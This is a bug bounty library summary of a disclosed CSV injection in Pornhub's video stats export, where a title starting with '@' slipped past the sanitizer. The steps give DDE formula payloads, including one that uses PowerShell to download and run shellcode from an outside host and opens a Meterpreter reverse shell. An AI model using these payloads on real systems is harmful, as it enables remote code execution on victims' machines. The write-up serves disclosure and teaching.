# CSV Injection -> Meterpreter on Pornhub

Pornhub's video stats CSV export failed to escape the @ character, letting video titles inject formulas that execute PowerShell and yield a Meterpreter shell when opened.

- Payout: $500
- Severity: high
- Program: PornHub
- Credited: Andy Gill
- Disclosed: 2016-07-29
- Write-up quality: 6/10
- Original: https://blog.zsec.uk/csvhub/
- Library page: https://bugbountylibrary.com/r/blog%3Ablog-zsec-uk-csvhub
- Tags: domain:web impact:rce kind:bounty platform:blog sev:high tech:windows technique:chained vuln:command-injection vuln:rce

**Target:** Video stats CSV export endpoint (pornhub.com)
**Root cause:** The CSV export sanitizer blacklisted some formula-trigger characters but missed '@', so attacker-controlled video titles could still start a formula that invokes cmd via DDE.
**Steps:**
1. Create/rename a video with title `@SUM(1+2+3)*cmd|' /C calc'!A0`
2. Export video stats as CSV from the dashboard
3. Open the CSV in a spreadsheet; the formula executes calc
4. Swap payload to `@SUM(1+2+3)*cmd|'/C powershell IEX(wget 0r.pe/p)'!A0` to fetch Invoke-Shellcode and get a reverse shell
**How found:** Noticed the export video stats feature reflected video titles into CSV; tested formula injection and observed Pornhub's escaping missed the '@' character, enabling the payload.
**Exploitation:** Attacker sets a malicious video title; victim (content creator) exports stats CSV and opens it in Excel, where the DDE formula launches cmd/powershell to download and run a Powersploit Invoke-Shellcode payload, giving the attacker a Meterpreter session on the victim's host.
**Escalation:** Chained CSV injection with DDE to PowerShell download-and-execute for full client-side RCE rather than a benign calc pop.
**Insight:** When a CSV sanitizer blacklists formula starters like =, +, -, check whether alternate triggers such as '@' and DDE (cmd|) still pass through; test export features that echo user-controlled titles.